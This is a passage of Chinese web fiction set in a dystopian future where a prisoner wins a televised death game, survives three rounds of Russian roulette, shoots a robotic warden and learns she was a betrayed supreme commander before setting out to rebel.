临走前,他倒是还特意带穆炽来坐电梯。
大概是觉得她这种记忆被清洗干净的可怜家伙,一定会这些高科技玩意束手无策,连怎么用的都想不起来了。
他没有听见穆炽进来前的那一句低语。
穆炽也不会特意说些“她会用”之类的强调,暴露出自己还拥有记忆的事实。
她乐得当甩手掌柜,跟着青年进电梯,由他按下去往68层的按钮。
“典狱长”这个头衔一出来,穆炽也大概知道自己所处的环境。
这里是科技更先进的未来世界。
以及,与她认知里的监狱不同,这个世界里的监狱不会集中关押犯人,或是安排他们进行劳动改造兼创收。
他们会将囚犯的记忆抹去,投放到精心布置的摄影场景里,玩一些“令观众开心的”小游戏。
还没有真正见识过这个世界,穆炽已经对它有了一个大致的印象轮廓。
至少,它在对于人命的使用上,呈现出相当程度的娱乐化与残酷化。
以穆炽记忆里的认知来评判,这不是高度素质文明社会能做出来的事。
哪怕是她的时代,也不会安排死刑犯在电视节目里互相厮杀——赢的人还有奖励。
会毫不避讳的直播这种血腥场景,乃至连观众也对此津津乐道,穆炽大致可以推测一点。
比起文明,这个世界更推崇暴力。
也就意味着,比起她在学校与社会上学到的那些知识,她在野外丛林生存时获得的那些经验,或许要更有用。
在恍神间,电梯微微一震,抵达68层。
青年已经在途中离开了,临走前还又怕又敬的跟穆炽打招呼,“那个,我走了哈,哈哈,恭喜你获胜……”
穆炽的目光朝他身上随意一扫,就让他瞬间一个激灵,没有受伤的左手下意识捂住已经把裤子浸得湿漉漉的屁股。
并暗自决定以后如果再干类似的事,说什么他都要带上武器。
真倒霉,他回去后肯定会被同事笑上至少一个月……!
怨念极重,但敢怒不敢言。
好在穆炽的目的达到,也懒得再理会他。
一个眼神过去,对方就赶紧溜走了,留她一个人继续前往典狱长办公室,半点也不担心她会逃走。
穆炽出了电梯门,依旧有荧绿色的灯带依次亮起,为她指引方向。
能在“村落”里放置根本找不到在哪的摄像头,这里的监控以防御措施只会多不会少。
穆炽沿着指示灯继续往前。
她不会傻到在什么都没有弄清楚的情况下贸然逃跑,那样做就像在丛林里面对猛兽时选择转身逃跑,将自己的惶恐与致命的弱点完全暴露在它面前。
那道经过信号处理的电子女声也不再响起,直到穆炽停在其中一扇镶嵌着铭牌的金属门前。
“请进。”
穆炽还没有伸手,门就在她面前自动打开。
分明是看起来极其沉重的、类似银行金库保险那样的金属门,朝一旁滑开时,竟然也像方才见到的底层大门那般无声无息。
嚯,高级。
就算现在天花板上忽然翻出几挺机丨枪,冲她哒哒哒扫一轮子弹,穆炽也不会再感到惊讶了。
她抬腿走了进去,神态淡然自若,环视一圈的模样比起一位囚徒,更像前来视察的领导。
整体没有任何装饰,只有房间内侧放着一张同样质感高级的操作台——或者说是办公桌——再搭配两把椅子,一个放在桌上的手提箱。
在不知从何而来的灯源漫射下,天花板与地面的材质是相同的,整体统一的抛光质感使它呈现出某种冷酷的强硬,像一个更大的金属囚笼。
只有墙上挖出了个不过一米长宽的小洞,终于透了些尚且不那么压抑的光进来。
“还满意你见到的吗?”
坐在其中一把椅子上的人开口了,依旧是刚才穆炽听过的机械女声。
“我以为典狱长办公室会豪华得像宫殿,没想到也不过如此。”
穆炽的回答没有半点客气,令对方又发出几声明显的笑——死板的,毫无起伏的,像一阵模拟出的音频。
总之,根本不像是人会发出的真实笑声。
她原以为那是经过广播放大处理才导致的信号失真,没想到亲眼见到后,才发现对方的声音就是这样。
不对。
穆炽端详了对方一会儿,微微蹙起眉毛。
“你不是人。”
一丝不苟盘起的金发,无瑕疵的美丽面容,精确的微笑弧度,挺直的脊背,交叠放在桌上的双手……
她是一个机器人。
或者是机械改造人?
对方的反应又太像人了,穆炽不那么确定。
听见穆炽这句宛若骂人的评价,对方唇边的微笑弧度又扩大了些。
她将右手压在身前,朝穆炽欠了欠身。
“你的判断很准确,不过我的情况,应当比你想象的还要更有趣。”
说完,她示意穆炽可以坐另一把椅子,被后者拒绝了。
“我只是来领取我的奖励。”穆炽淡淡道。
典狱长笑了。
在那张完美过头的人工面庞上,她的笑容越明显,整个人看起来就越诡异。
她做了个手势,操控台上便飞出一片光幕,似瀑布流淌在穆炽面前。
数个窗口在穆炽的视野里不停滚动,上面还有飞速刷过的弹幕与不断跳动的右上角数值。
有些窗口多,有些窗口少。
而那些窗口,穆炽大致浏览了下。
有正在阴森古宅里被不知名生物狩猎的,有像在冲关般沿着一条血红道路前进的,也有所有人都在某个房间里一动不动的……
这些画面里的场景没有完全一致的,每个人需要面对的杀机、做出的反应也截然不同。
穆炽默默将目光从一堆已经抱在一起的光溜溜男女身上挪开,看向另一个窗口。
那个窗口里的画面比较简单,是一位黑发青年正在铁丝拧成的笼子里,与另一名壮汉进行空手格斗。
地面已溅上了大面积的血,又被踩出凌乱不堪的痕迹。
无一例外,这些画面里的人正在死去,或即将面临死亡。
“想看看你现在有多受欢迎吗?”
典狱长依旧微笑着,挥手令其中一个窗口放大,占据了主要位置。
对这点并不感到意外的穆炽看向屏幕。
画面里的她正站在典狱长办公室,不肯坐下,面对着一位看上去完美无缺的金发女性。
细微的表情变化使她看起来依旧没什么表情,依旧持着匕首的架势冷酷而果决。
弹幕的字体也随之变大,令她可以分辨内容。
【打赏给5号 1000血点:干得好,杀死他!我支持剖开他的肚子!】
大概是打赏金额很高的缘故,这条弹幕一直在置顶的居中位置,很久都没有消失。
他们果然喜欢看见不同寻常的展开,越新奇越来劲。
【不愧是5号,还是第一次看见能成功闯进监狱塔的犯人!】
【打赏给5号 10血点:太有意思了!】
【置顶那条给的也太多了,问题她现在又看不见你哈哈白费力气】
【没杀掉呢,真可惜】
【打赏给5号 30血点:那几刀戳得不错,再搅一搅就更妙了】
【究竟谁给她定的危险系数1%?】
【跟5号一比,大部分人都只是白痴而已嘻嘻】
【她打破了所有节目开播以来的最高人气值!】
除去弹幕外,窗口侧栏还有一列简单的人物介绍与状态显示。
穆炽没有名字,被标注为5号,底下的绿点后跟着【二代狼人】与【存活】字样。
唯一死亡的是7号,被标注为【一代狼人】与【死亡】。
其余五人则是【村民】与【存活】。
而当典狱长将窗口展示给她看之后,滚动的弹幕内容立刻变得密集。
【噢噢,她看见我们了】
【来打个招呼吧,5号】
【喜欢你啊啊啊啊】
【打赏给5号 20血点:我们支持你太棒了!!!】
【打赏给5号 100血点:快选择留下来吧,我还想继续看你!!!】
【打赏给5号 200血点:我赌你等会肯定能活下来!】
【脑袋开花!脑袋开花!脑袋开花!】
一大片的打赏弹幕飘过去,其中几条的内容令穆炽尤其在意。
她等会究竟是活着,还是脑袋开花?
她似乎,即将要做出一个选择。
“我猜,你大概也有心理准备了。”
虽然从典狱长的视角看不见光幕上的窗口内容,但她似乎对发生的一切都了如指掌。
在穆炽的注视中,典狱长将光幕收回,接着拿过桌边那个手提箱,在她面前打开。
是三支左轮样式的手丨枪与数枚子弹,造型经典到穆炽一眼就能认出来。
但除此以外,怎么看都平平无奇。
与这地方展现出的高科技相比,它的构造甚至可以称得上简陋。
穆炽看了那三支枪一眼,又看向典狱长。
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“针对不同的游戏优胜者,我们会给予不同的奖励。当然,我保证它一定是你最想要的。”
典狱长的嗓音十分优雅,将话娓娓道来。
穆炽:“……记忆?”
“哦,亲爱的,确实有许多人想找回他们的记忆,”典狱长说,“但记忆格式化是不可逆的,这既是对死刑犯的惩罚,也是一种断尾的新生。”
但穆炽确定自己的脑海里还保留她在上个世界的记忆,不是臆想。
或者说,洗去的只是她在这个世界里度过的那段记忆?
“我犯了什么罪,才会成为死刑犯?”
既然不给恢复记忆,穆炽便直接将这句话问出了口。
“关于这点,请允许我暂时向你保密。倘若你等会能活下来,我再告诉你也不迟。”
典狱长微微笑道,将那三支左轮丨手丨枪取出,卸下转轮,展示给穆炽看。
也展示给光幕前的观众看。
每支枪的准轮有六个空槽,可以放入六枚子弹。
穆炽猜到她要做什么了。
典狱长分别数出三枚、四枚与五枚子弹,将它分别装入三支手枪的转轮里,合上,拇指压着,用力一转。
在一阵飞速掠过的机械摩擦声后,转轮停止。
于是,那三支保险被打开的左轮丨手枪,便依次排列在穆炽的面前。
“这三把枪,存活的概率分别是二分之一、三分之一,以及,六分之一。”
典狱长说,“还挺高吧?”
高个屁。
穆炽咬紧牙。
听起来生还概率还不错,但转轮里本来总共就只能装六发子弹!
她的目光刚落到典狱长身上,对方便笑着摇头,“你无法像胁迫037号那样威胁我,亲爱的。”
“我即是这座监狱本身。”
她将手按在自己胸口,说出一句出乎意料的话。
“而这座监狱,远比你想象的还要大。”
办公室内一片安静。
过了片刻,穆炽的声音才低低响起。
“当然,毕竟你们得放下那么多布景。”
她嘲讽接了句,面无表情盯着那三支手枪,
“这就是给我的奖励?”
“是的。不过,你可以选择对自己的太阳穴开几枪。”
典狱长终于说出规则。
“一枪不开,我们会重新洗去你的记忆,将你投放到下一个游戏节目里。”
“扣动第一支枪的扳机后存活,换取你能在这座监狱里活下来,成为像037那样的狱警。”
“扣动第二支枪的扳机后存活,换取从这座监狱离开的自由。”
“扣动第三支枪的扳机后存活,换取一份名单——相信我,你一定非常、非常想要这份名单。”
一次比一次的生还概率更低,一次比一次的奖励更诱人。
那双人工制造的微型摄像头对准穆炽,典狱长的脸上始终维持着那亲切的、令人悚然的微笑。
“死亡并不可怕,罪人的死亡更是毫无价值。”
她轻声开口。
“之前也不是没有人从游戏里获胜过,他们同样需要经历这个固定环节。有的人认输了,有的人对自己开了一枪或更多,有的人给予了观众最后一分余兴。”
“我可以向你保证,这三把枪没有任何弄虚作假的成分。你是否能活下来,全凭自己的运气。”
“如果你不敢赌自己的运气,我也会给予你一点特别的优待——作为第一个来到监狱塔的胜利者。”
典狱长的劝说出于好意。
获胜的人不少,但连开三枪还能活下来的,她没有见过。
甚至有的倒霉鬼,第一枪就脑袋开花。
遑论在亲手决定自己的生死上,人类求生的本能会压倒性的大于一切,恐惧叫嚣着要他们放弃。
她并非看轻眼前这位身份特殊的死刑犯,而是不认为在近乎绝对的死亡威胁面前,即使用自由做最后的诱饵,人类还能保留有多少自己的意志,以及勇气。
但接下来的一幕,令她错愕到有史以来第一次彻底呆怔住。
在无数个镜头对准的画面中央,穆炽没有说哪怕一个字。
她只是抛掉匕首,右手拿起第一支枪,抵在自己的太阳穴上。
唇角弯起,露出自走进这间办公室之后的第一个微笑。
凛然、高傲,轻蔑至极。
好似在说——你以为自己是谁,竟然敢拿这种把戏来嘲讽我。
连那飞快滚动的无数弹幕,也为此停滞了几秒。
紧接着,穆炽的食指扣动扳机。
——咔。
放下,再拿起第二支枪。
——咔。
放下,再拿起第三支枪。
——咔。
在震撼到无声的万众瞩目中,她对准自己的太阳穴扣动了扳机。
三次。
5. 九乐城(五)
没有迟疑,没有恐惧,甚至没有表情变化。
穆炽仅是以一种平淡的、有条不紊的姿态,依次将那三支左轮手枪从桌上拿起,抵在太阳穴,开枪。
自始至终,眼睛都冰冷注视着典狱长,又微微眯起,透出十足的轻慢笑意。
就像以挑衅回敬挑衅,而她看不起这里的所有人。
节目画面里没人发弹幕,典狱长也没能做出任何反应。
他们都被眼前这一幕震撼到了。
但在开完第三枪后,穆炽并没放下手里那第三支枪。
她赌赢了最后这六分之一的概率,这支枪剩下的五发都将是装填了火药的实心子弹。
下一刻,穆炽调转手里的枪口,手臂与肩膀呈一条直线,毫不动摇的将它对准坐在操控台另一边的典狱长。
“我对自己开了三枪,”穆炽道,“现在,换你挨三枪了。”
“这样一来,交易才公平。不是吗?”
随即,面带笑意的她连续扣动三次扳机。
砰!砰!砰!
后坐力使她每开一次枪,手腕连带小臂都会抬起一次。
但她的准头很好,好似天生就知晓该如何瞄准敌人的头颅。
就这样,穆炽眼也不眨,也朝着典狱长连续开了三枪!
如果此刻的弹幕有声音,一定是此起彼伏的倒吸一口气。
很快,铺天盖地的打赏与叫好淹没了全部画面。
穆炽看不见那些弹幕,只注视着挨了三枪的典狱长。
一枪瞄准额头。那张完美无瑕疵的面容出现了一个拇指甲盖那么大的洞,仿生皮肤被撕裂,露出的金属部分还覆盖着些许乳白色的细丝,像人体的神经或血管。
一枪瞄准喉咙。没能彻底贯穿的子弹嵌了进去,将典狱长的脑袋打得朝右边偏去些许,像被打断一半的竹子,上半截因支撑力不足而歪倒。
一枪瞄准心脏。发出明显的金戈相击声,衣服与仿生皮肤破了,但内里完好无损。
而这三枪的动力势能,使典狱长整个上半身往后栽倒,却又硬生生停在半途,再次恢复到坐直的姿势。
有淡绿色的半透明液体自额头流出。
那道液体淌过眼球,蜿蜒过面颊,经过弧度依旧标准的唇角,最终在下巴汇聚成水滴落下。
仿佛人类的血。
喉咙破损的部分则流出了更多,迅速浸湿了那件白色的西装衬衫。
典狱长却毫不在意,还冲着穆炽微微点头。
“你是第一个敢朝我开枪的。”
穆炽轻笑一声,终于拉开那把椅子,随意坐下。
半侧过身坐的,交叠起双腿,朝后靠着椅背,还搭了小臂在上面,简直就是在故意与典狱长那一板一眼的坐姿对着干。
“我现在还是死刑犯,无论我做什么,都不会再面临更严重的刑期了。”穆炽道。
“但你这是袭击监狱最高执法者。”典狱长笑起来。
“但我的自由判决也即将生效。”穆炽说,“自由前犯的罪,不就等于也会一笔勾销吗?”
典狱长反应了下,才跟上穆炽的思维。
她马上就要领取到她的奖励,那么无论奖励前犯下了多少足以坐牢枪毙一百次的罪,一律会被赦免。
竟然卡了个规则的bug!
如果被开枪的不是自己,典狱长简直要为她鼓掌。
而穆炽呢,她始终摆出不以为意的模样,似乎方才真的只是心血来潮,想要报复一下刚才的【固定环节】。
在心底,她却谨慎评估这具机器躯体的受损状态。
刚才她就是仗着规则有bug,故意朝机器人开了三枪。
等之后从这里出去,她一定还会遇到同样款式的机器人——甚至是更狂暴的。
现在,她已经试探出单靠手枪级别的热武器,很难迅速干掉一个机器人。
仿生皮肤下是全金属覆盖,躯干比四肢的防护力度更高。
喉咙的位置最脆弱,但只贯穿一部分并不会使它彻底丧失活动能力。
那些白色的脉络是什么,穆炽有点在意,但暂时没什么思路。
她也算是见过地球上的那些机器人,内部都是各种密密麻麻的线路与信号板,一眼就能看出是人造产物。
但那丝丝缕缕的脉络太过柔软,湿润,甚至会让人产生一种错觉,认为它是某种……活着的生物。
穆炽只佯装不感兴趣的撇了眼,就收回视线。
就是从见到监狱长开始直到现在的反应,不太像人工智能——也可能是科技发展得太高级,她分辨不出来。
挨了穆炽三枪,典狱长没有生气,也不急着清理自己,反而先动手打开光幕,一本正经地向观众谢场。
“如各位所见,5号已经通过所有挑战,即将获得属于她的豁免令与其余奖励。”
“让我们恭喜239台的5号玩家,她成为了有史以来第一位获得所有奖励的死刑犯!”
穆炽坐在椅子上,改成抱臂的姿势,看她像个即将要开始唱《难忘今宵》的主持人,笑容满面与同样爆发出极大热情的弹幕做互动。
但她只回了砸下大钱打赏的那些。
等光幕关闭,典狱长才收敛笑容。
她将双手的手肘抵在桌面,十指交错在一处,摆出了很明显的思考姿势。
光幕已彻底关闭,不再有围观者的这间办公室内,接下来才是重头戏。
“老实说,我没想到你会是她。”
典狱长开口,“先自我介绍一下,我叫天兰,现任这座监狱的典狱长。”
“你以为我是谁?”穆炽说。
“创下最伟大功绩的[她]。”
天兰的上半身前倾,直直盯着穆炽。那张被毁了一部分的脸在不作出任何表情时,显出几分诡异的惊悚。
“旧日时代的最高人类指挥官,我们也会尊称她为司令官阁下。”
“在末日时代,是她带领着人类点燃足以存续下来的火种,矗立起一座又一座庇佑着所有人的城市,让我们得以将这份文明继续延续下去。”
喉咙遭到部分破坏,原本就机械的女声更是产生些许卡顿般的失真,像一台不能正常调频的收音机。
对于天兰说出口的那些内容,穆炽没有给出太多反应。
她也给不出太多反应。
——她根本没有这部分的记忆,半点也没有。
无论如何回忆,她都只记得自己坠崖前的二十来年,而它根本不发生在这个世界里。
成为旧日时代的最高指挥官,带领人类从灭世的灾难中走出来,这些经历听在穆炽的耳朵里,虚幻到不真实。
何况。
“既然我是最高指挥官,为什么现在会变成死刑犯?”穆炽道,“而且,那些观众看起来也不认识我。”
都在科技这么发达的世界里当上最高指挥官了,没人见过她
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“这便是连我也感到吃惊的关键点了。”天兰说,“您通常都是覆面状态,许多人不认识您也十分正常……自然,我曾经是见过您真容的,在十年前。”
穆炽歪了下脑袋,意识到自己这具身体的年龄可能比预计的还要大。
“十年前,我曾有幸与您有过一次短暂的会面。那时候,您的样貌与现在并不相同。或许在这八年间,您对自己的五官动过改造手术。这很正常,现在几乎所有人都喜欢这么做。”
不,这就是她记忆里的脸。
穆炽看过光幕画面上的自己,长得与她记忆里大差不差。
比起天兰的猜测,她倒更相信是十年前的自己故意把五官调整得不像“原本的自己”。
虽然在心底反驳了对方的猜测,但穆炽不打算解释。
“他们对外公布您遭受基因污染,逐渐丧失理智,异化成了堕暗者。”
天兰平静回答,“为此,他们不得不处理掉您,继承您的遗志,带领人类走向更光明的未来——更好的、更伟大的未来。”
“自那天起,已经过去了八年。”
“而那位旧日最高人类指挥官,确实再也没有出现过——直到今天,我从你的身上,看见了她的影子。”
天兰指着自己额头的枪伤,唇角微笑。
“不仅是在游戏里的表现。你真的非常有[她]的行事风格,当初,[她]见到我的第一面,也是对我开了一枪,说是想测试新玩意的防御性能。”
穆炽哑然。
但也发现了不对劲。
“你是人工智能?”
这种联想能力与判断力,实在更接近人类而非死板的人工智能——除非后者眼下已经进化到拥有智慧的级别。
“不,我是人类,也是同谐者。如您所见,我可以操纵这座监狱塔,包括这具机械身躯。”
天兰微微笑了下,“清洗记忆果然给您带来了很严重的副作用。”
“……”
记下同谐者这个名词的穆炽淡淡瞥了她一眼,心想这是谁害的。
“这点不能怪我。”
天兰摇头,“您是以植物人状态被送过来的,而我这里是监狱,不是医疗所。因此,我的部下严格依照流程操作,清洗记忆后将您投入239台,只当做第一夜的消耗品使用——如果您没有中途醒来,反杀7号的话。”
对此,穆炽只是冷冰冰扯了下嘴角。
“变成植物人还能当死刑犯,我真了不起。”
天兰假装没有听见她的阴阳怪气。
“我一直认为您不可能成为堕暗者,但没人相信我的话。或者说,他们已经得到了利益,早已不打算相信我的猜测。”
那是一场有预谋的共同背叛。
为了权势与利益,他们不惜花大力气谋害了获胜凯旋的、有伤在身的最高统帅,在人类迎来最终胜利的前夕,亲自将那枚果实牢牢抓在手里。
随后,他们瓜分了在这片大陆上建起的七座城市,各自拥有对它的绝对统治权。
这不是一个穆炽喜欢听到的故事。
但她心底瞬间被点燃的怒与恨,仿若压抑许久后终于熊熊而起的大火,沸腾着、咆哮着流淌过她的每一滴血,在告诉她。
这是真的。
她被自己曾经最信任的那几人背叛了。
从此刻开始,她必将以牙还牙,以眼还眼。
——百倍奉还。
6. 九乐城(六)
时间有限,典狱长天兰并没有讲得很仔细。
遑论她不在当年的权力核心层,有些关于细节的描述都是靠猜测而非亲眼所见。
天兰说完后,穆炽闭了闭眼,重新整理自己此刻的思绪。
在未知的真相面前,她要确保自己的思考不被对方带偏。
“所以,我究竟是怎么进来的这里?”穆炽问。
搞明白当下的状况更关键。
谈话进入没有观众的私人领域,天兰没有隐瞒,很快就回答。
“实际上,是被判定为无价值的黑户兼废弃品,卖给监狱做最后处理的。”天兰摊开双手,“谁也没想到你会醒过来。”
停顿片刻,她说出更加地狱的内容。
“在你被投放进这个游戏前,所有的器官匹配已经完成。一旦死亡,狱警会立刻将你的尸体拉去做后续处理,抽取血液、摘除器官、剥去皮肤、剃光头发……直到最后,清理干净余下的无用部分。”
在这个世界,即使是毫无价值的废弃品,也可以贡献出自己的最后一点余热。
穆炽:“……我以为会直接火化。”
“那是额外的价格。”
天兰说,“很昂贵,只有中产以上的人才会选择这么做。当然,真正的富人还有更好的选择。”
至于穷人的情况,天兰不必开口,穆炽也知道。
如果售卖尸体合法,就算有人不想卖掉,悄悄埋土里,都会有别人连夜偷挖出来拿去卖。
毕竟,连她这个植物人都被“废物利用”了。
穆炽思索一会,“如果我是你说的那个最高指挥官,没有基因库匹配之类的手段来确认身份吗?”
“没有。”天兰说,“至少在官方层面,关于[她]的所有资料都被销毁,且禁止民间提起,否则一律视为【危害治安罪】,顶格判刑。”
那就是死刑。
他们要抹去关于那位指挥官存在过的一切痕迹,将历史据为己有。
穆炽不再继续这个话题,那是白费力气。
天兰刚才说她之前是个黑户,这意味着她没有合法的身份丨证丨明,同样不会有过去的官方档案记录。
她能判断出自己的身体消瘦得异常,确实沉睡过很长、很长的时间。
在这场谈话的最后,穆炽朝天兰伸手示意。
“名单。”
这是她的奖励之一。
天兰将手提箱的内层拉链拉开,从里面抽出一张纸,交给穆炽。
“我所知道的参与者,已经全部写在上面。”
更确切地说,名单只是一个敷衍观众的幌子。
开第三枪存活后的真正奖励,天兰已经通过口述告知她了。
穆炽捏着那张纸,扫了眼。
【七上城城主:乌见绰】
【皇城城主:青皇】
【自由城城主:催沙】
【恩城城主:海月】
【九乐城城主:力羽】
……
都是她没有记忆的名字,头衔倒是一个比一个响亮,打头几个全是城主,底下跟了些高官与财阀。
“一看就过着相当逍遥的日子嘛。”
穆炽评价这些人。
她神态自若,随手将那张纸倒扣在桌上,让别人看不出她心里是怎么想的。
天兰的本体躺在这座监狱塔的某处,操纵着那具破损的机械身躯,将那双模拟成人眼的微型摄像头对准她。
此刻,窗外已经不那么亮了。
某种沉闷的暗青色铺满不大的整个窗口,偶尔会有霓虹的线光远远闪过。
穆炽的视线偏过去,对着那扇窗口望了一会儿。
“决定好了?”天兰开口,“我们还有十分钟的时间,下一个节目的获胜者要来了。”——停顿片刻,她闭目微笑道,“不可思议,今天竟然一口气来了两位客人。”
“没什么要问的了,别的事情我自己会去了解。”
穆炽不关心另一位玩家是谁,便将这当作她该离开的信号,从椅子上起身。
“还有别的东西要给我吗?说好的身份特殊会有优待呢。”
她不担心天兰是否会将这场谈话说出去。
要是被那些上层知道,对她没有任何好处。
比起这点,穆炽倒更狐疑为什么天兰要特意将这些事情告诉她。
“我无法离开这座监狱塔,能帮到您的地方不多。”
天兰在说出这句话时,办公室的门打开,另一个完好无缺的【天兰】走进来,带着弧度标准的微笑,将一张卡交给穆炽。
“这是239台节目播出的整个过程中,您收到的所有打赏。”
“汇率换算及扣除手续费后,共计328543.87通用币,已全部汇入这张公民卡里。”
“另外,这里面也记录了您的合法身份信息,刑满释放的囚徒:5号。想改成什么新名字,您后续可以亲自去政府的户籍管理科。”
【天兰】笑容可掬,以一种标准的服务态度对穆炽说道。
“这是胜利者的附带奖励,不论之前是任何身份,只要获胜,您都将成为九乐城的一位合法公民。”
接过那张卡的穆炽扯了扯嘴角,示意自己知道了。
这不废话,以前的记忆都被洗掉且无法找回,跟变成了另一个人有什么区别。
也就她不知道出于什么原因,竟然还保留了在地球生活的记忆。
虽说从眼下情况来看,那些记忆对她以后在这个世界的生活,可能并没有很大的帮助。
好比手里这张白色公民卡,制作得十分高级。
看不出是什么材质,偏沉,边角圆润,磨砂质感。
上面用细而流畅的花纹勾勒出一只飞鸟的形状,转动时隐隐能看见流光闪过。
除此以外,什么也没有。
穆炽用力掰了下,连折弯都极困难。
“这个还你。”
收起公民卡的她不再尝试,将那把枪放回操控台上,还给天兰。
但从地上拾回她进来时随手一丢的那把匕首。
“不过,这武器归我了,可以吧?”
枪有携弹数量限制,还是匕首更实用。
【天兰】站在打开的门外,等着将穆炽领出监狱塔。
而始终坐在操控台后方的天兰,则笑着默许了穆炽顺走匕首的行为。
只在穆炽即将离开时,忽然出声问道。
“我想知道,你做出了什么选择?”
穆炽站住了。
房间内安静片刻,直到她回过头。
“你知道我在扣动扳机时,脑子里想的是什么吗?”
天兰摇头,“是什么?”
“这不是我与你之间的赌博,”穆炽半侧过身,在身前比出枪的手势。
“是我与命运的。”
她关上门,也将天兰望过来的视线隔绝在身后。
穆炽的面前则有另一个【天兰】,朝这边露出完美无缺的微笑。
很难说头上开了个洞的她,与面容完美无缺的她,究竟哪个更诡异。
【天兰】像一位安静的导游,全程没有说话。
她带着穆炽坐电梯来到23层,弯弯绕绕了一段路,再坐到1层,又走过好几条长廊,才终于打开其中一扇门。
一阵凉风迎面拂来,湿冷,闻起来还带着古怪的、使人皱眉的腥潮味道。
外面正下着淅淅沥沥的雨,高楼一栋比一栋刺破天际,挡去了绝大部分光线,使眼前这条漆黑的道路仅剩下倒映着霓虹炫光的无数水洼。
楼与楼之间架着许多空轨,距离地面至少有百米高,不时飞速掠过一辆列车。
这种场景,穆炽只在科幻电影里见过。
而在远离真实霓虹的地面,在这座监狱大门前,既没有守卫,也没有过客。
只有远处不时传来什么东西砸在地上的声音,不像是人弄出来的。
穆炽专注盯着那些雨珠看了会,问身边【天兰】。
“这个雨,对人有害吗。”
“这是人工造景,不包含任何危险物质
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。”【天兰】说,“按照九乐城城主的意思,适当的雨能让这座城市看起来更绚丽。”
确实更绚丽了,无数水珠折射着同样人造的霓虹彩光,凝成的水洼又是天然的镜子,在不断荡开的涟漪中使它破碎,凝聚,又破碎。
原本漆一片黑的道路也因此获得些许虚幻虹光的眷顾,不至于伸手看不见五指。
既然知道这些雨对人体无害,穆炽便不在意自己会不会被淋湿了,直径走入雨中。
“您之后有什么打算?”
看着穆炽的背影,【天兰】低声开口。
“嗯,确实该考虑下啊,毕竟我现在也不是什么最高指挥官。”穆炽略沉吟片刻,朝她微微一笑。
“四舍五入,就先来造个反吧。”
这句话说得轻描淡写,却令【天兰】呆住了。
“……?!”
从那张人造的完美脸庞上,头一次出现了震惊的情绪。
她当年退缩了,在大清洗到来时闭口不言,没有像其他人那样勇敢抗争。
后来,又甘愿被安排在这座监狱塔内,再也没能出去过。
她同样成为了这座监狱的无期囚徒。
但即使是没有那些记忆的穆炽,面对这个世界,竟然也敢直接说出“造反”这种台词……?!
对此,穆炽仅是漫不经心耸了下肩,神态淡然而从容。
“既然我是那个什么最高指挥官,就说明这个世界本来就是属于我的东西。”
“我造我自己的反,有什么问题吗?”
在【天兰】持续性震惊的目光中,穆炽朝她摆了下手,走得很快,没多久就消失在雨里。
>>>
目送穆炽离开,【天兰】关上监狱大门,重新回到这具躯体该待的工作岗位上去。
通过这片由特殊信号连接而成的“区域网”内,有更多的【天兰】在发出讯息,无声交流。
[一号的判断准确吗?如果她不是那位怎么办?]
[这是在让她送死。]
[但她的胆识实在是……]
[即使她是曾经那位,我也不认为仅凭她一个人,就可以对抗如此恐怖的势力——他们已经掌控了整个世界。]
[总有些大清洗遗漏的支持者。]
[容貌不同,没有记忆,他们更不会相信她的身份。]
[安静。]坐在办公室里的一号天兰出声。
[我们在这里待了这么多年,也都看见了那些囚犯在游戏里的表现。]
[即使被洗掉记忆,有的囚犯,依旧会选择犯下杀人的罪。]
[有的囚犯,则失去了往日的一切狡诈、傲慢及精明的特质,变得懵懂且蒙昧。]
[也有的囚犯,会产生一定的蜕变,做出之前绝不会做出的事情。]
[在记忆变成白纸的情况下,他们只能凭借本能行动,被游戏玩弄,活着的唯一价值就是带给观众乐趣。]
“区域网”内一片安静,所有天兰都在听一号天兰说话。
[但5号,她是迄今为止唯一一个,失去记忆后依然保有敏锐判断力与高水平战斗技巧的囚犯。更别提她对人心与局势的把控更是出色,简直就是个天生的领导者。]
自八年前,天兰再也出不去监狱塔那天开始算起。
这么多年来,这样的人,她只见过一个。
[那三枪,是试探。]一号天兰继续道。
[如果她没有选择对自己开到第三枪,即使最后活下来,我也不会对她说那些。]
[而如果,她真的是那个人,真的拥有颠覆世界的能力——那么,命运自会给予她正确的回应。]
[她必将在那三枪中存活。]
一号天兰抬手将歪掉的脑袋扶正,又擦去流淌在脸上的营养液。
面容平静,失真的声音却轻微颤抖起来。
亦如双手交叠在胸口、正闭目似沉睡着的本体,自眼角缓慢滑落一颗泪珠。
[别忘了,这是她“临死前”曾经对我们……对我说过的话。]
7. 九乐城(七)
九乐城,天气雨。
时间,大约是晚上。
穆炽离开那座监狱塔,随便挑了条路。
雨始终淅淅沥沥的落着,一颗接一颗大小适中的水珠自墨黑的天空下坠,裹挟着流虹的光点,碎在地面。
仰头朝高处看,那些绚烂的、真实的人造光源离地面太远,远得让它像海市蜃楼,或者一个美好的梦。
越靠近地面,那些连折射都来不到这里的光就使它显得越暗。
好似变成铅笔反复涂抹出的影子,只为衬托光亮的一面。
穆炽走在路上,好半天也找不到一家开着的商铺,见不到哪怕一个路人。
这些高楼的入口紧闭,三十层以下没有窗户,看起来更像一个巨大的承重柱。
路面也没有车,车都在百米高的空轨上面跑。
只有这场人造雨是流动的,成了这里除穆炽外唯一有生机的东西。
下了这么久,雨势始终既不大,也不小,控制得刚刚好。
穆炽又走了段路,拐到另一条更宽阔的路上,终于发现这座城市并不是没有商店,只是不在地面。
那些广告的招牌都在至少一百米以上的位置亮着。
穆炽:“……”
所以,她现在要考虑的问题是该怎么去一百米以上的地方?
如果她不能像蜘蛛或壁虎一样沿着墙壁就爬上去,那么,还是得找个人问。
问题又绕回来了——人在哪。
哪怕她想当法外狂徒,找个随便谁来威胁下,竟然都做不到。
手里有凶器,但苦于无用武之地。
走了这么长时间,她就没在地面上见到第二个生物。
穆炽甚至有点想回去找天兰问几个问题——确切地说,问点生活常识。
但她的自尊心阻止了这种有点丢脸的行为,打算先找个避雨的地方。
一路走过来都没见到树,自然也不会有公园或者公共厕所之类的福利设施。
这场人造雨完全没有停的迹象,再继续淋下去,可能会出现失温现象。
穆炽沉吟片刻,没有继续尝试朝高楼密集的地方靠近。
而是换了个方向,特意朝这片由高楼组成的森林边缘走去。
这次,她很快就看见地面出现了垃圾,从零星几样到逐渐变多。
道路也从平整变得坑坑洼洼。
虽然还是没找到商店,但至少这里出现了人类活动的痕迹。
再过了会,一条三岔口上伫立着一间穆炽记忆里公交车站大小的棚屋。
它的其中两面与顶部用铁皮挡住,另外两面完全敞开。
天花板还挂着盏昏黄的小破灯。
里面摆着条表面被摩擦到光滑的金属板凳,拼接的材料使它的光泽与颜色并不统一,看起来也有点歪。
棚屋附近没有建筑,它本身也没任何标识。
